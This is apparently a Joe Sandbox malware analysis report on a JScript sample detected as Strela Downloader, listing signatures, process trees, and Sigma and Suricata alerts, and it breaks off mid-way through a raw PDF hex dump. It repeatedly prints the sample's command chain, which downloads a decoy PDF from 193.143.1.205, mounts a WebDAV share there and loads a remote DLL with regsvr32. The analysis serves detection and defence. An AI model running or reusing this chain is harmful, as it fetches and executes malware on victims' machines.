Edit tour

Windows Analysis Report
17763111531162825565.js

Overview

General Information

Sample name:	17763111531162825565.js
Analysis ID:	1588905
MD5:	d9730436026fdbf56c3d0b5dfc71c436
SHA1:	cc5a46ba622405422012a472765b22e5daa86a56
SHA256:	00cfe79799346518c46f5bbe7744db6936aef6e3e93eb4e1525a02fd91c54613
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7116 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6404 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5408 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3704 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1560,i,18320074673369195276,3779788688947174590,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3384 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7116 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6376 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7116	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5408, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5408, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7116, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5408, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3384, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7116, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6376, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3384, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7116, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6404, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:59:23.562962+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:59:26.204085+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:59:23.562962+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 17763111531162825565.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 17763111531162825565.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 17763111531162825565.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:59:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 